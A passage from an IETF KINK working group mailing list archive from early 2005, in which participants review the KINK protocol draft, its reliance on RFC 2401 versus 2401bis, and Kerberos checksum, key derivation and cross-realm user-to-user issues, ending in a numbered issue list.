Sakane-san. And I have an observation. Our discussions will be more productive if we can categorize issues. Some issues were based on Kerberos clarification and/or kcrypt, some were on 2401bis, some were on IKEv2 and so on. We can go forward with Kerberos related issues even if we can not solve 2401bis and/or IKEv2 related issues which may need long time to be solved. ----- nobuo From owner-ietf-kink Thu Jan 27 23:20:42 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0S7KfnN023776; Thu, 27 Jan 2005 23:20:41 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0S7KfhK023775; Thu, 27 Jan 2005 23:20:41 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from biscayne-one-station.mit.edu (BISCAYNE-ONE-STATION.MIT.EDU [18.7.7.80]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0S7JqnQ023252 for ; Thu, 27 Jan 2005 23:20:35 -0800 (PST) (envelope-from raeburn@MIT.EDU) Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103]) by biscayne-one-station.mit.edu (8.12.4/8.9.2) with ESMTP id j0S6vIEY011501; Fri, 28 Jan 2005 01:57:19 -0500 (EST) Received: from [18.101.0.226] ([18.101.0.226]) (authenticated bits=0) (User authenticated as raeburn@ATHENA.MIT.EDU) by outgoing.mit.edu (8.12.4/8.12.4) with ESMTP id j0S6vE0a014547 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT); Fri, 28 Jan 2005 01:57:17 -0500 (EST) In-Reply-To: <20050128124009Y.sakane@kame.net> References: <20050128124009Y.sakane@kame.net> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <6199f4b3455738c33a45787a74a5cf9e@mit.edu> Content-Transfer-Encoding: 7bit Cc: ietf-kink@vpnc.org From: Ken Raeburn Subject: Re: racoon2 release Date: Fri, 28 Jan 2005 01:57:13 -0500 To: Shoichi Sakane X-Mailer: Apple Mail (2.619.2) X-Spam-Score: -4.9 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.42 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Jan 27, 2005, at 22:40, Shoichi Sakane wrote: > We have removed our IKEv2 code from the release because we have an IPR > issue related to IKEv2. We will release it after the issue will > be solved. KINK is only supported in the release currently. I may be being overly picky, but: KINK isn't finalized. KINK would presumably be the name of the final version of the protocol. So it wouldn't be correct to say that it supports KINK, but instead you should indicate that it supports a specific draft. And I expect that the final version will not be 100% compatible with the current draft (if only in the handling of some of the crypto aspects I've complained about), so it would make sense to advise users of that fact as well, and plan for either an incompatible change down the road, or support for both draft and final versions in some future release. That said, I think it's great that you're doing this. Thank you! Ken From owner-ietf-kink Fri Jan 28 13:10:23 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0SLANHP092118; Fri, 28 Jan 2005 13:10:23 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0SLANnu092117; Fri, 28 Jan 2005 13:10:23 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (STRATTON-FOUR.MIT.EDU [18.187.5.4]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0SLAIeS092106 for ; Fri, 28 Jan 2005 13:10:18 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id E8D4DE0063; Fri, 28 Jan 2005 16:10:18 -0500 (EST) To: Kazunori Miyazawa Cc: Shoichi Sakane , ietf-kink@vpnc.org Subject: Re: KINK should referenece to IKEv2? References: <20050127143507Z.sakane@kame.net> <41F9CAE7.3070301@miyazawa.org> From: Sam Hartman Date: Fri, 28 Jan 2005 16:10:18 -0500 In-Reply-To: <41F9CAE7.3070301@miyazawa.org> (Kazunori Miyazawa's message of "Fri, 28 Jan 2005 14:17:27 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "Kazunori" == Kazunori Miyazawa writes: Kazunori> Shoichi Sakane wrote: >>> Speaking as an AD, if 2401bis is approved by IETF 62, Kink >>> will be based on 2401bis. If not, then it depends on where >>> 2401bis is, where Kink is, and how fast things are moving. >> I dont understand why KINK will be based on 2401bis when >> 2401bis is approved by IETF62. There are lots of platforms >> based on 2401. KINK should be based on 2401 in order to deploy >> it. If the market will not choice 2401bis and if a kink >> implementation based on 2401bis does not work on a platform >> based on 2401, then KINK will not deploy. it is not easy to >> know how difference between 2401bis and 2401, and it is not >> easy to know if a key management daemon based on 2401bis will >> work on a platform based on 2401. so I said in previous mail >> that we should make kink based on 2401 then make kink based on >> 2401bis. kink header has a version field. >> Kazunori> I agree with Sakane-san. Kazunori> I think if kink is based on 2401bis, it would use IKEv2 Kazunori> instead of ISAKMP. That would be a valid way of making Kink based on 2401bis. It seems like a lot of work and I am not sure it is in the best interest of the working group to choose to make Kink work with 2401bis that way. Again, I did present the assumptions under which I decided to require 2401bis. You would need to show me that one of those assumptions is wrong in order to convince me to change my mind. --Sam From owner-ietf-kink Fri Jan 28 18:19:47 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0T2Jl2l010433; Fri, 28 Jan 2005 18:19:47 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0T2Jl4Z010432; Fri, 28 Jan 2005 18:19:47 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from luminous.mit.edu (LUMINOUS.MIT.EDU [18.101.1.61]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0T2Jk4Z010426 for ; Fri, 28 Jan 2005 18:19:46 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by luminous.mit.edu (Postfix, from userid 1000) id 1963F76C87; Fri, 28 Jan 2005 21:19:39 -0500 (EST) To: ietf-kink@vpnc.org Subject: AD Review: draft-ietf-kink-kink [starting at section 5] From: Sam Hartman Message-Id: <20050129021939.1963F76C87@luminous.mit.edu> Date: Fri, 28 Jan 2005 21:19:39 -0500 (EST) Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: General issues: [**] Versioning: what happens when a receiver receives a major or minor version of the kink or qm that is inconsistent with this document? What about unknown payload types? [**] U2u: I think we need to look at how u2u works at various parts of the protocol. In particular I'm concerned about choosing the right u2u principal, dealing with cross-realm u2u and dealing with recovering from reboots. We should confirm all these work out. Section 5: o DOI (4 octets) - The domain of interpretation. All DOI's must be registered with the IANA in the "Assigned Numbers" RFC [STD-2]. Cite a specific registry please. IANA registries are typically named, and a URL reference would probably be appropriate. o Reserved (15 bits) -- Reserved and must be zero Must be zero on send, must be ignored by receiver. o CksumLen (2 octets) -- CksumLen is the length in octets of the keyed hash of the message. A CksumLen of zero implies that the message is unauthenticated. Note that as with payload padding, the length here denotes the actual number of octets of the checksum structure not including any padding required. If I understand this text correctly, the length would be set to 6 if I had a 6-byte checksum padded outto 8 bytes. How would kink find out about those two bytes of padding and know to skip them? In a kcrypto universe I believe this length should just be the length of the output of the get_mic operation. Reading later, perhaps this text is only talking about kink padding not crypto-system padding. If so, then please just clarify that you mean the padding discussed in 5.1. [**] The checksum length is non-deterministic. [**] The description of the checksum says that the session key of the ticket is used. That's a way to do it, but the working group should explain why it has chosen to ignore the subsession key. [**] The document claims that the transaction id is not used for replay detection because Kerberos provides that. How is that true? The authenticator is protected against replays but how is the rest of the message bound to that specific authenticator instead of to a session key of a ticket? The cksum field should be the output of the get_mic operation and the verify_mic operation should be used to verify it. I believe appropriate text has already been suggested on the list. Why is the next payload in the message header one byte, but the next payload in the payload header two bytes? If this is not a documentation bug, it should probably be called out so people know not to assign payload ids greater than 255. Section 5.1.2: [**] How do I discover the FQDN of my remote peer? SPD entries are configured in terms of IP addresses. If you want to store an identity in the PAD, why not store a principal instead of a hostname. [**] How do I authorize which service I'm talking to in the u2u case. I.E. how do I know what principals are authorized for a particular SPD entry? tion information across different restarts. The format of this fields is network order encoding of the standard posix four octet time stamp. Perhaps you need a description of the time stamp? I recall there being such a description in draft-housley-binarytime-xx. Section 5.1.4: [**] Why should a sender send only those errors? I'm mostly asking for an explanation to be given to me or to be added to the document rather than liberalization of the requirement. KINK implementations MUST make use of keyed Kerberos errors when the appropriate service key is available as specified in [KRBREVS]. In particular, clock skew errors MUST be integrity protected. For unauthenticated Kerberos errors, the receiver MAY choose to act on them, but SHOULD take precautions against make-work kinds of attacks. Remove paragraph. Section 5.1.5: [**] Please Consider how this works in the cross-realm case. I.E. make sure you end up with the right ticket on the right side. I believe this text assumes that you need a ticket in a realm close to the client; I think that for things to work you actually need a realm close to the server. Work through the message flows and make sure the KDC doing the decryption actually has the necessary keys and then adjust the document if necessary so the right KDC is used. The document needs to clearly indicate what error code is used in the case when the responder cannot get a ticket because some cross-realm key is missing. In general we want it to be possible for an initiator to try several identities until the initiator finds the right one that has a shared key. Section 5.1.8: [**] Please use the output of the kcrypto encrypt operation directly. Of most importance is to make sure that all kcrypto enctypes will work even if it is not possible to decompose the kcrypto checksum from the encrypted data. This probably means that in some cases you will have double checksums. You also need to deal with making sure you can determine the length of the plaintext. Text should probably indacte that next payload must be none. Section 6.1: o IKE Quick Mode (phase 2) uses the hash algorithm used in main mode (phase 1) to generate the keying material. KINK MUST use the hashing algorithm specified in the session ticket's etype. [**] This checksum may not be deterministic and is probably not appropriate for use in setting up a key. A PRF is provided, although depending on how the hash is used the PRF may or may not be a suitable replacement. There has been significant discussion within krb-wg on when the PRF is appropriate and when it is not. This discussion centered around key determination in pkinit. Section 6.8: What happens if a peer that implements the KE payloads communicates with a peer that does not. Specify the behavior in sufficient detail to guarantee interoperability. Section 7.1: defined in the following sections. The checksum in the KRB-ERROR message is not used, since the KINK header already contains a check- sum field. Drop reference to krb-error checksum. Section 8: I don't understand what this section says well enough to determine whether it works with kcrypto. Section 10.1: This should not go in the security considartions section. It is really more about IPsec architectural considerations than security considerations. This text needs to take into account 2401bis. In particular it needs to be properly split between SPD considerations and PAD considerations. Section 11: Needs work. You may want to stop by tthe IANA office hours and ask them for advice. They are generally quite good at working with authors to figure out how things need to be specified. From owner-ietf-kink Fri Jan 28 21:13:57 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0T5Duox021498; Fri, 28 Jan 2005 21:13:56 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0T5DucS021497; Fri, 28 Jan 2005 21:13:56 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from biscayne-one-station.mit.edu (BISCAYNE-ONE-STATION.MIT.EDU [18.7.7.80]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0T5DtKH021490 for ; Fri, 28 Jan 2005 21:13:56 -0800 (PST) (envelope-from raeburn@MIT.EDU) Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103]) by biscayne-one-station.mit.edu (8.12.4/8.9.2) with ESMTP id j0T5Drq6029655; Sat, 29 Jan 2005 00:13:53 -0500 (EST) Received: from [18.101.0.226] ([18.101.0.226]) (authenticated bits=0) (User authenticated as raeburn@ATHENA.MIT.EDU) by outgoing.mit.edu (8.12.4/8.12.4) with ESMTP id j0T5Db0a010200 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT); Sat, 29 Jan 2005 00:13:38 -0500 (EST) In-Reply-To: <20050129021939.1963F76C87@luminous.mit.edu> References: <20050129021939.1963F76C87@luminous.mit.edu> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <49550b4eb40f91d161272fcd0966e59d@mit.edu> Content-Transfer-Encoding: 7bit Cc: ietf-kink@vpnc.org From: Ken Raeburn Subject: Re: AD Review: draft-ietf-kink-kink [starting at section 5] Date: Sat, 29 Jan 2005 00:13:31 -0500 To: Sam Hartman X-Mailer: Apple Mail (2.619.2) X-Spam-Score: -4.9 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.42 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Jan 28, 2005, at 21:19, Sam Hartman wrote: > Section 5.1.5: > > [**] Please Consider how this works in the cross-realm case. > I.E. make sure you end up with the right ticket on the right side. I > believe this text assumes that you need a ticket in a realm close to > the client; I think that for things to work you actually need a realm > close to the server. Work through the message flows and make sure the > KDC doing the decryption actually has the necessary keys and then > adjust the document if necessary so the right KDC is used. In working this through, I suggest attention also be paid to whether anything happening is specific to KINK, or if we're just working through issues of cross-realm user-to-user authentication that rfc1510/clarifications might not have explained adequately. (We use user-to-user rarely enough in most situations, I don't know if anyone's actually using it in the cross-realm case.) Ken From owner-ietf-kink Sun Jan 30 16:34:33 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0V0YXGw096201; Sun, 30 Jan 2005 16:34:33 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0V0YX5W096200; Sun, 30 Jan 2005 16:34:33 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0V0YW2U096173 for ; Sun, 30 Jan 2005 16:34:33 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 403705 for ; Mon, 31 Jan 2005 09:34:07 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 3v8Ng2; Mon, 31 Jan 2005 09:34:07 +0900 (JST) Date: Mon, 31 Jan 2005 09:35:09 +0900 Message-ID: <20050131093509FD%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: Checksum (Re: KINK issue list) In-Reply-To: <4862abd2ff60e5469610a75831516214@mit.edu> References: <20050120102450Q.sakane@kame.net> <20050120103639RZ%kamada@nanohz.org> <20050120110448RR%kamada@nanohz.org> <20050127171645FM%kamada@nanohz.org> <71f7d1221376acbc8485b84b11f8aaf4@mit.edu> <20050128090716FA%kamada@nanohz.org> <4862abd2ff60e5469610a75831516214@mit.edu> User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Thu, 27 Jan 2005 20:47:56 -0500, Ken Raeburn wrote: > > > - 2) makes me nervous because I don't know whether it makes some > > kinds of attacks easy (e.g. adding junk data at the end of payloads > > in order to collide the checksum). > > How about including length-without-checksum in the calculation of the > checksum, instead of a zero? This seems to work. So current proposed solution is: - Use required-to-implement checksum type determined by the etype. - Use get_mic or verify_mic function to generate or verify the checksum. - Omit the checksum field before calculation. - The Length field is filled with the packet length without checksum and the CksumLen field is zeroed out before the calculation. -- KAMADA Ken'ichi From owner-ietf-kink Sun Jan 30 16:50:51 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0V0opj2097059; Sun, 30 Jan 2005 16:50:51 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0V0op5l097058; Sun, 30 Jan 2005 16:50:51 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0V0ooYf097052 for ; Sun, 30 Jan 2005 16:50:50 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 099CA5 for ; Mon, 31 Jan 2005 09:50:50 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 2LscsL; Mon, 31 Jan 2005 09:50:50 +0900 (JST) Date: Mon, 31 Jan 2005 09:51:54 +0900 Message-ID: <20050131095154FY%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: AD Review: draft-ietf-kink-kink [starting at section 5] In-Reply-To: <20050129021939.1963F76C87@luminous.mit.edu> References: <20050129021939.1963F76C87@luminous.mit.edu> User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Fri, 28 Jan 2005 21:19:39 -0500 (EST), Sam Hartman wrote: > > Section 5.1.2: > > [**] How do I discover the FQDN of my remote peer? SPD > entries are configured in terms of IP addresses. If you want to > store an identity in the PAD, why not store a principal instead of a > hostname. I interpreted the text as a naming convention, not how a implementation get a peer's principal name. So I think it is an implementation issue whether a principal name is generated from a FQDN or got directly from the PAD. -- KAMADA Ken'ichi From owner-ietf-kink Mon Jan 31 01:54:21 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0V9sE9K006737; Mon, 31 Jan 2005 01:54:20 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0V9sEbE006724; Mon, 31 Jan 2005 01:54:14 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0V9rkld005709 for ; Mon, 31 Jan 2005 01:54:10 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id C2D3C5 for ; Mon, 31 Jan 2005 17:05:42 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 0Nhxgd; Mon, 31 Jan 2005 17:05:42 +0900 (JST) Date: Mon, 31 Jan 2005 17:06:44 +0900 Message-ID: <20050131170644FW%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: KINK issue list rev.2 User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: AD Review is merged. Numbered. User-to-User issues and cross-realm issues are not yet well ordered. [**] Indicates an issue considered substantive. [-] Indicates an editorial issue. (2401bis): depends on 2401 vs 2401bis #1 [**] Versioning what happens when a receiver receives a major or minor version of the kink or qm that is inconsistent with this document? What about unknown payload types? (Sam Hartman) QM version is discussed in section 12 (Forward Compatibility Considerations). - KINK version return error (KINK_INVMAJ, KINK_INVMIN) - QM versoin already specified in section 12. - KINK payload type return error (KINK_PROTOERR) - ISAKMP payload type return error (ISAKMP INVALID-PAYLOAD-TYPE) (describe each Notify type usage like ikev2 spec.) Specify the behavior when the error is not authenticated in the Security Consideration section. #2 [**] U2U I think we need to look at how u2u works at various parts of the protocol. In particular I'm concerned about choosing the right u2u principal, dealing with cross-realm u2u and dealing with recovering from reboots. We should confirm all these work out. (Sam Hartman) #3 [**] user-to-user (section 3, 4.2, and 5.1.2) It seems like the server tells the client what principal to authenticate to, but this principal is not properly authorized. (Sam Hartman) More examination of user-to-user case, especially situations where it might *not* be two PKINIT clients, which section 3 says is possible. (BTW, in the Kerberos docs, it's "user-to-user", not "user-user".) (Ken Raeburn) Verifying remotely supplied identity, as Sam raised earlier. (Ken Raeburn) In the user-to-user case with TGTs, I think the KINK draft may be over-specifying things that should be dealt with at the Kerberos level. If things are underspecified in Kerberos Clarifications, let's deal with that. (Ken Raeburn) Section 4.2: [**] How will the initiator determine whether it will be able to get a TGT? I think policy considerations of when to use u2u and authorization considerations of what u2u principals are authorized are underspecified in the draft. (Sam Hartman) [**] Make sure the descriptions of u2u work correctly in the cross-realm case. (Sam Hartman) Section 5.1.2: [**] How do I authorize which service I'm talking to in the u2u case. I.E. how do I know what principals are authorized for a particular SPD entry? (Sam Hartman) #4 [**](2401bis) CREATE command from the aspect of 2401bis (section 4.3) I need explicit review from the IPsec reviewer of this section to make sure it is compatible with 2401bis. #37 [**] Difference between IKE and KINK on CREATE command (section 4.3) IN addition, any differences between how this works and how IKE would set up the same SA need to be called out. It is fine for there to be differences, but I want to make sure the working group explicitly decided the differences are a good thing. I'm somewhat concerned that 4.3 is not specific enough to describe exactly what key gets set up. I.E. I'm concerned it may not be detailed enough for interoperable implementations. (Sam Hartman) #5 [*] When 3-way, is responder's nonce MUST or SHOULD? (section 4.3 and 7.3) Sec 4.3 and 7.3 use SHOULD and MUST respectively regarding when the nonce should be used. If the circumstances they're describing are different, that's okay, but if so, I missed it on first reading. (Ken Raeburn) #6 [*] Half open (section 4.4) (solution proposed) IPsec does not allow half-open security associations any more as far as I can tell in 2401bis. So it's not just for simplicity, but for model conformance. (Sam Hartman) Proposed solution: remove the phrase "for simplicity". (Message-ID: ) #7 [**] DPD & STATUS (section 4.4.2 and 4.5) [**] Discuss status message, rebooting peers and u2u. This looks a lot like the IKE case where you lose all cryptographic context to me. (Sam Hartman) #8 [*] CksumLen (section 5) Diagram indicates one octet for cksumlen, but the text (and kcrypto specifications) say it should be two. Clarify that you mean the padding discussed in 5.1 (KINK Padding Rules), not crypto-system padding. (Sam Hartman) #9 [**] etype does not directly indicate checksum type (section 5) (solution proposed) a key's encryption type does not directly indicate a checksum type, it indicates an encryption(-with-integrity-protection) scheme, which does include a required-to-implement checksum type (Ken Raeburn) Proposed solutions are: - Use required-to-implement checksum type determined by the etype. - Use get_mic or verify_mic function to generate or verify the checksum. - Omit the checksum field before calculation. - The Length field is filled with the packet length without checksum and the CksumLen field is zeroed out before the calculation. (Message-ID: <20050131093509FD%kamada@nanohz.org>) #10 [**] Kerberos allows variable length checksum (section 5) (solution proposed) I'd have to go back and check, but I don't think we require that a given checksum type have a fixed output size, so "leave X amount of space and fill it with zero for computing the checksum" is questionable too. (Ken Raeburn) Proposed solution: look at #9 #11 [*] Kerberos checksum is not deterministic (section 5) (solution proposed) The Kink description of how to verify a checksum assumes that Kerberos checksums are deterministic; this is not strictly required. (Sam Hartman) let kcrypto specify how to verify a checksum, as they're not required to be deterministic, so the "compute it again and compare" approach specified in section 5 is wrong (Ken Raeburn) Proposed solution: look at #9 #12 [**] Subsession keys (section 5 and 8) Are subsession keys ignored? (Ken Raeburn) The description of the checksum says that the session key of the ticket is used. That's a way to do it, but the working group should explain why it has chosen to ignore the subsession key. (Sam Hartman) #13 [**] Replay protection (section 5) The document claims that the transaction id is not used for replay detection because Kerberos provides that. How is that true? The authenticator is protected against replays but how is the rest of the message bound to that specific authenticator instead of to a session key of a ticket? (Sam Hartman) #14 [-] Reserved (15 bits) -- Reserved and must be zero (section 5) must be zero on send, must be ignored by receiver. #15 [**] Principal name of KINK service (section 5.1.2) How do I discover the FQDN of my remote peer? SPD entries are configured in terms of IP addresses. If you want to store an identity in the PAD, why not store a principal instead of a hostname. #16 [*] EPOCH (section 5.1.2) Perhaps you need a description of the time stamp? I recall there being such a description in draft-housley-binarytime-xx. (Sam Hartman) The text is describing a 4-octet field in the KINK message header instead of ASN.1 field, so the description is not so needless. #17 [**] Checksum when KRB-ERROR occured (section 5.1.4 and 7.1) Section 7.1 says the checksum in the KRB-ERROR message is not used, but section 5.1.4 says that KINK implementation MUST make use of keyed Kerberos errors. But KRB-ERROR does not have checksum in it (at least with RFC 1510 or kerberos-clarifications). I think a correct phrase here is "KINK implementations MUST make use of a KINK Cksum field when returning KINK_KRB_ERROR and the appropriate service key is available." Remove following paragraph from section 5.1.4. (Sam Hartman) KINK implementations MUST make use of keyed Kerberos errors when the appropriate service key is available as specified in [KRBREVS]. In particular, clock skew errors MUST be integrity protected. For unauthenticated Kerberos errors, the receiver MAY choose to act on them, but SHOULD take precautions against make-work kinds of attacks. Drop reference to krb-error checksum from section 7.1. (Sam Hartman) defined in the following sections. The checksum in the KRB-ERROR message is not used, since the KINK header already contains a check- sum field. #18 [**] Kerberos error type limitations (section 5.1.4) Why should a sender send only those errors? I'm mostly asking for an explanation to be given to me or to be added to the document rather than liberalization of the requirement. (Sam Hartman) #19 [**] Cross-realm and U2U (section 5.1.5) Please Consider how this works in the cross-realm case. I.E. make sure you end up with the right ticket on the right side. I believe this text assumes that you need a ticket in a realm close to the client; I think that for things to work you actually need a realm close to the server. Work through the message flows and make sure the KDC doing the decryption actually has the necessary keys and then adjust the document if necessary so the right KDC is used. The document needs to clearly indicate what error code is used in the case when the responder cannot get a ticket because some cross-realm key is missing. In general we want it to be possible for an initiator to try several identities until the initiator finds the right one that has a shared key. (Sam Hartman) #20 [**] KINK_ENCRYPT format (section 5.1.8) The format of the encrypted part of KINK_ENCRYPT (section 5.1.8) is vague. I think of using the output of raw encryption algorithms (i.e. E(confounder | plaintext | pad)) or using EncryptedData. treat "encryption with integrity protection" output as a whole, don't peek under the covers to find a "checksum" part you can throw away (Ken Raeburn) drop references to the initialization vector (Ken Raeburn) Please use the output of the kcrypto encrypt operation directly. Of most importance is to make sure that all kcrypto enctypes will work even if it is not possible to decompose the kcrypto checksum from the encrypted data. This probably means that in some cases you will have double checksums. You also need to deal with making sure you can determine the length of the plaintext. (Sam Hartman) #21 [*] Next Payload in KINK_ENCRYPT (section 5.1.8) Text should probably indacte that next payload must be none. #22 [*] Kerberos PFS (section 6.8) Sec 6.8: "Kerberos in general does not provide FPS so it is somewhat questionable whether a system which is heavily relying on Kerberos benefits from PFS." First, that sounds like it might be Security Considerations material. Second, I don't follow; explain please? (Ken Raeburn) #23 [*] KE interoperability (section 6.8) What happens if a peer that implements the KE payloads communicates with a peer that does not. Specify the behavior in sufficient detail to guarantee interoperability. (Sam Hartman) #24 [*] MUST/SHOULD in clock skew (section 7.1) The time difference MUST be computed and SHOULD be stored and used? Why the different requirement levels? (And is this sort of thing in the domain of KINK or Kerberos?) (Ken Raeburn) #25 [**] prf (section 8) Section 8 says "prf is the same hash algorithm found in the session ticket's etype", but krb-wg-crypto-07 defines hash as unkeyed. Fortunately krb-wg-crypto-07 defines a PRF for each etype, so KINK should use this PRF. Use a prf from kcrypto, don't assume the checksum operations are deterministic hash functions (Ken Raeburn) Section 6.1 (the description of hash algorithm): This checksum may not be deterministic and is probably not appropriate for use in setting up a key. A PRF is provided, although depending on how the hash is used the PRF may or may not be a suitable replacement. There has been significant discussion within krb-wg on when the PRF is appropriate and when it is not. This discussion centered around key determination in pkinit. (Sam Hartman) #26 [*] Key derivation (section 8) The key derivation seems inconsistent with the crypto framework document. (Sam Hartman) I don't understand what this section says well enough to determine whether it works with kcrypto. (Sam Hartman) #27 [*](2401bis) SPD Considerations (section 10.1) This should not go in the security considartions section. It is really more about IPsec architectural considerations than security considerations. This text needs to take into account 2401bis. In particular it needs to be properly split between SPD considerations and PAD considerations. (Sam Hartman) #28 [*] Key usage Usage of kink should specify the key usage numbers for kerberos encryption. (Sam Hartman) #29 [*](2401bis) Rekeying section 4.4.1: Please make sure this discussion is aligned with 2401bis. I think it may change small details but they seem to have adopted much of the same strategy kink uses. The area wher I believe they speak to this issue is when you should rekey (timers etc) #30 [*](2401bis) IKEv2 Should we adopt IKEv2? If we should... - IKEv2 does not have DOI, so how to handle the DOI field in the KINK packet header should be described. - Use TS (Traffic Selector) instead of ID (Identification). - KEYMAT calculation is changed. - How to handle REKEY_SA 